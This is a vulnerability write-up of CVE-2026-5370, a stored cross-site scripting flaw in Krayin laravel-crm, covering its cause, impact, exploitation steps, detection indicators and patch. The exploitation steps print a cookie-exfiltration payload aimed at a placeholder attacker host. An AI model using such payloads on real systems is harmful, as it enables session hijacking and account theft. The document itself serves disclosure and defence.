CVE-2026-5370: 
PHP vulnerability analysis and mitigation

CVE-2026-5370 is a stored Cross-Site Scripting (XSS) vulnerability in Krayin laravel-crm affecting versions up to and including 2.2.0. The flaw resides in the Activities Module and Notes Module, specifically in how user-supplied input is rendered in the Contacts → Persons section. It was reported on January 12, 2026, and publicly disclosed on April 2, 2026, with a patch committed the same day (Github Advisory). The vulnerability carries a CVSS v3.1 base score of 3.5 (Low) and a CVSS v4.0 base score of 5.1 (Medium) (Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation) combined with CWE-94 (Improper Control of Code Generation), classified as a stored XSS vulnerability. The application used Vue.js directives v-html and v-safe-html to render user-supplied content in the activity timeline and datagrid table, bypassing output encoding and allowing arbitrary HTML/JavaScript to be stored and executed in other users' browsers (GitHub PR #2466). An authenticated attacker with low privileges can insert a malicious payload (e.g., <script>alert('XSS')</script>) into the Notes field of a Contact/Person record, which is then persistently stored and rendered for any user who views that record (GitHub Issue #2419). The fix replaced unsafe v-html/v-safe-html directives with escaped Vue interpolation to ensure user content is rendered as plain text (GitHub Commit 73ed28d).

Successful exploitation allows an authenticated attacker to inject persistent malicious scripts that execute in the browser context of any user — including administrators — who views the affected Notes or Activities records. This can lead to session hijacking, credential theft, UI defacement, or redirection to malicious sites. Confidentiality and availability impacts are rated None, while integrity is rated Low, reflecting the ability to modify rendered content in other users' sessions without direct server-side data compromise (Github Advisory).

A proof-of-concept exploit is publicly available, as noted in the CVSS v4.0 exploit maturity rating of "Proof of Concept" (Github Advisory). Exploitation requires low-privilege authentication and passive user interaction (a victim must view the poisoned record). The EPSS score is approximately 0.034% (15th percentile), indicating a low but non-zero probability of active exploitation in the near term. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory).

1. Authenticate: Log in to the Krayin CRM instance as any authenticated user with low privileges (e.g., a standard CRM user account).
2. Navigate to target module: Go to Contacts → Persons and open or create a Person record.
3. Inject payload: In the Notes section, click "Add Note" and insert a malicious XSS payload such as <script>alert('XSS')</script> or a more sophisticated payload like <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie> to exfiltrate session cookies.
4. Save the note: Submit the note, which stores the malicious payload persistently in the database without sanitization.
5. Trigger execution: When any other user (including an administrator) navigates to the same Person record and views the Notes or Activities section, the stored script executes in their browser context due to unsafe v-html/v-safe-html rendering.
6. Achieve objective: Collect session tokens, perform actions on behalf of the victim, or redirect them to a phishing page (GitHub Issue #2419, GitHub PR #2466).

• Logs: Web server or application logs showing POST requests to note/activity creation endpoints (e.g., /admin/contacts/persons/{id}/notes) containing HTML tags or JavaScript keywords (<script>, onerror, alert, document.cookie) in the request body.
• Database: Notes or activity records in the database containing raw HTML or JavaScript markup rather than plain text content.
• Network: Outbound HTTP requests from CRM users' browsers to unexpected external domains shortly after viewing Person/Contact records, potentially carrying cookie or session data as query parameters.
• Browser/Client: Unexpected JavaScript alert dialogs, redirects, or console errors appearing when CRM users view Contacts → Persons records with Notes.

The fix is available as commit 73ed28d466bf14787fdb86a120c656a4af270153, which replaces unsafe v-html/v-safe-html Vue directives with escaped interpolation in the Activities and Notes rendering components (GitHub Commit 73ed28d). Administrators should upgrade krayin/laravel-crm to a version newer than 2.2.0 that incorporates this patch; the latest release at time of writing is v2.2.3 (Krayin GitHub). As a defense-in-depth measure, implement a Content Security Policy (CSP) header to restrict script execution sources, and apply server-side input validation and output encoding for all user-supplied fields.

The vulnerability was originally reported by security researcher Dineshrajansv on January 12, 2026, via a detailed GitHub issue with a proof-of-concept video demonstration (GitHub Issue #2419). A community contributor (bhavesh-018) submitted a pull request on March 1, 2026, with the fix, which was validated by the original reporter on March 16, 2026, confirming the payload was rendered as plain text post-patch (GitHub PR #2466). Community discussion noted that the project had stopped assigning CVEs for reported vulnerabilities, prompting the reporter to consider publishing an independent write-up.